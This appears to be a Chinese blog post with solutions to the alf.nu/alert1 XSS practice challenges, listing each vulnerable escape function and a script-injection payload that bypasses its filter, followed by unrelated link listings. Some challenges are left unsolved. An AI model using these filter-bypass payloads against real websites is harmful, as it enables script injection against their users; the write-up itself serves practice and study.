看别人的答案做个一知半解,深感自己能力不足水平有限啊^_^!
 
Warmup
function escape(s) { 
    return '<script>console.log("'+s+'");</script>';
}
 
");alert(1)//
 
Adobe
function escape(s) {  
    s = s.replace(/"/g, '\\"');  
    return '<script>console.log("' + s + '");</script>';
}
我们发现过滤了 ”替换为\"
\");alert(1)//
 
JSON
function escape(s) {  
    s = JSON.stringify(s);  
    return '<script>console.log(' + s + ');</script>';
}
使用JSON.stringify()过滤 "被替换为\",  \被替换为\\
</script><script>alert(1)//
 
JavaScript
function escape(s) {  
    var url = 'javascript:console.log(' + JSON.stringify(s) + ')';  
    console.log(url);  
    var a = document.createElement('a');  
    a.href = url;  document.body.appendChild(a); 
    a.click();
}
 
%22),alert(1)//
 
Markdown
function escape(s) {  
    var text = s.replace(/</g, '&lt;').replace(/"/g, '&quot;');
  // URLs  
    text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>');
  // [[img123|Description]]  
    text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">');  return text;
}
 
 
 
DOM
function escape(s) {
    // Slightly too lazy to make two input fields.  
    // Pass in something like "TextNode#foo"  
    var m = s.split(/#/);
 
    // Only slightly contrived at this point.  
    var a = document.createElement('div');  
    a.appendChild(document['create'+m[0]].apply(document, m.slice(1)));  
    return a.innerHTML;
}
 
Comment#><script>alert(1)</script><!
 
 
Callback
function escape(s) {
    // Pass inn "callback#userdata"  
    var thing = s.split(/#/);
 
    if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';  
    var obj = {'userdata': thing[1] };  
    var json = JSON.stringify(obj).replace(/</g, '\\u003c');  
    return "<script>" + thing[0] + "(" + json +")</script>";
}
'#';alert(1)//
 
Skandia
function escape(s) {  return '<script>console.log("' + s.toUpperCase() + '")</script>';}
 
</script><script src=data:text/html,%61%6c%65%72%74(1)>
 
Template
function escape(s) {  
    function htmlEscape(s) {    
        return s.replace(/./g, function(x) {       
            return { '<': '&lt;', '>': '&gt;', '&': '&amp;', '"': '&quot;', "'": ''' }[x] || x;       
     });
  }  
 
function expandTemplate(template, args) {    
    return template.replace(
        /{(\w+)}/g,
         function(_, n) {
            return htmlEscape(args[n]);
         });
  }
    return expandTemplate(
    "                                                \n\
      <h2>Hello, <span id=name></span>!</h2>         \n\
      <script>                                       \n\
         var v = document.getElementById('name');    \n\
         v.innerHTML = '<a href=#>{name}</a>';       \n\
      <\/script>                                     \n\
    ",
    { name : s }
  );
}
 
 
JSON ][ 
function escape(s) {  
    s = JSON.stringify(s).replace(/<\/script/gi, '');  
    return '<script>console.log(' + s + ');</script>';
}
 
</scr</scriptipt><script>alert(1);//
 
 
Callback ][
function escape(s) {
  // Pass inn "callback#userdata"
  var thing = s.split(/#/);
  if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
  var obj = {'userdata': thing[1] };
  var json = JSON.stringify(obj).replace(/\//g, '\\/');
  return "<script>" + thing[0] + "(" + json +")</script>";
}
 
'#';alert(1);<!-->
 
 
Skandia ][
function escape(s) {
  if (/[<>]/.test(s)) return '-';
 
  return '<script>console.log("' + s.toUpperCase() + '")</script>';
}
 
iframe 
function escape(s) {
  var tag = document.createElement('iframe');
 
  // For this one, you get to run any code you want, but in a "sandboxed" iframe.
  //
  // https://4i.am/?...raw=... just outputs whatever you pass in.
  //
  // Alerting from 4i.am won't count.
  s = '<script>' + s + '<\/script>';
  tag.src = 'https://4i.am/?:XSS=0&CT=text/html&raw='; + encodeURIComponent(s);
  window.WINNING = function() { youWon = true; };
  tag.setAttribute('onload', 'youWon && alert(1)');
  return tag.outerHTML;
}
????
name="youWon"
 
TI(S)M
function escape(s) {
  function json(s) { return JSON.stringify(s).replace(/\//g, '\\/'); }
  function html(s) { return s.replace(/[<>"&]/g, function(s) {
                        return '&#' + s.charCodeAt(0) + ';'; }); }
  return (
    '<script>' +
      'var url = ' + json(s) + '; // We\'ll use this later ' +
    '</script>\n\n' +
    '  <!-- for debugging -->\n' +
    '  URL: ' + html(s) + '\n\n' +
    '<!-- then suddenly -->\n' +
    '<script>\n' +
    '  if (!/^http:.*/.test(url)) console.log("Bad url: " + url);\n' +
    '  else new Image().src = url;\n' +
    '</script>'
  );
}
if(alert(1)/*<!--<script>
利用注释/**/ 注释掉代码中间的一个<script>使得头一个<script>向下寻找</script>闭合,其中的代码都被认为是JavaScript代码得到执行
 
JSON Ⅲ
function escape(s) {
  return s.split('#').map(function(v) {
      // Only 20% of slashes are end tags; save 1.2% of total
      // bytes by only escaping those.
      var json = JSON.stringify(v).replace(/<\//g, '<\\/');
      return '<script>console.log('+json+')</script>';
      }).join('');
}
if(alert(1)/*<!--<script>
 

XSS练习平台- https://alf.nu/alert1的更多相关文章

  1. 【CTF WEB】XSS-https://alf.nu/alert1

    XSS练习平台 https://alf.nu/alert1 Warmup 1");alert(1)// Adobe 1");alert(1)// JSON </script& ...

  2. xss练习,alf.nu/alert1,1-12

    觉得自己很菜,故找一些题来做,随便找了下.记一下通关攻略 https://alf.nu/alert1 第一关 题目:warmup function escape(s) { return '<sc ...

  3. 在线xss练习平台

    在线xss练习平台 HTTPS://ALF.NU/ALERT1 这个是只要能输出alert1就算赢. No.1第一个就很简单了,什么都没有过滤,只需要闭合前面的标签就可以执行xss了. 1 " ...

  4. 1.6 xss挑战平台练习

    ------------------------- XSS挑战之旅 ------------------------- 最近在学习xss,找到了一个xss练习平台,在线地址:http://test.x ...

  5. 搭建XSS测试平台

    XSS测试平台是测试XSS漏洞获取cookie并接收web页面的平台,XSS可以做js能做的所有事情,包括但不限于窃取cookie,后台增删文章.钓鱼.利用xss漏洞进行传播.修改网页代码.网站重定向 ...

  6. 微信公众平台HTTPS方式调用配置免费https服务器

    微信公众平台数据传输安全,提高业务安全性,公众平台将不再支持HTTP方式调用.避免影响正常使用中含有HTTP方式调用的服务,请开发者尽快调整,将现有通过HTTP方式调用的切换成HTTPS调用,平台将于 ...

  7. xss challenges平台学习

    虽然在很早之前就接触过xss,有一段时间还就着一本书研究过,但是始终没有实感,掌握的也不够系统,所以现在借着这几个平台再学习一遍 首先来玩一玩xss challenge平台 第一关:http://xs ...

  8. 百度站长平台HTTPS认证所遇到的坑

    坑1: 百度站长平台https认证失败,提示:请确保您网站的所有链接均支持https访问,且未使用不安全协议(如:SSL2.SSL3等协议). 解决办法: 1.  友情链接检查, 要检查所有的友情链接 ...

  9. 公共错误码 - 支付宝开放平台 https://opendocs.alipay.com/open/common/105806

    公共错误码 - 支付宝开放平台 https://opendocs.alipay.com/open/common/105806

随机推荐

  1. Nginx的TCP/UDP调度器

    安装nginx [root@proxy ~]# yum –y install gcc pcre-devel openssl-devel //安装依赖包 [root@proxy ~]# .tar.gz ...

  2. sqlserver 插入语句

    //--创建事务 Create PROC [dbo].[proc_XXXXX] ) AS BEGIN BEGIN TRAN BEGIN TRY .....................插入 COMM ...

  3. Java数据库小项目01--实现用户登录注册

    先实现数据库和数据表,检测正常后再做其他的 CREATE TABLE users( username ) NOT NULL, PASSWORD ) NOT NULL); INSERT INTO use ...

  4. 在gitlab上删除分支后,本地git branch -r还能看到

    1. git remote prune --dry-run origin 查看当前有哪些是该消失还存在的分支 2. git remote prune origin 删除上面展示的所有分支 3. git ...

  5. CPU内部结构图

      原文地址:http://blog.csdn.net/jiuyueguang/article/details/9350793

  6. 小米 oj 发奖励(思维)

     发奖励 序号:#75难度:有挑战时间限制:1000ms内存限制:10M 描述 小明老师准备给一些得到小红花的小朋友发糖果做为奖励. 假设有n个小朋友,每个小朋友拥有的小红花为m(n)个,他让这n个小 ...

  7. 【线性代数】3-5:独立性,基和维度(Independence,Basis and Dimension)

    title: [线性代数]3-5:独立性,基和维度(Independence,Basis and Dimension) categories: Mathematic Linear Algebra ke ...

  8. Codeforces 959D. Mahmoud and Ehab and another array construction task(构造, 简单数论)

    Codeforces 959D. Mahmoud and Ehab and another array construction task 题意 构造一个任意两个数都互质的序列,使其字典序大等于a序列 ...

  9. linux磁盘内存满了?删除大文件依然不起作用

    好久没有更新博客了,但并不代表自己没有遇到技术问题了.遇到了一大堆,也解决了一大堆.只是没有记下来的欲望了,似乎大脑就这样,忘不掉.啥都忘不掉了,即使忘掉了也知道如何百度了. 查看目录大小命令 du命 ...

  10. skbuff

    在2.6.24之后这个结构体有了较大的变化,此处先说一说2.6.16版本的sk_buff,以及解释一些问题. 一. 先直观的看一下这个结构体~~~~~~~~~~~~~~~~~~~~~~在下面解释每个字 ...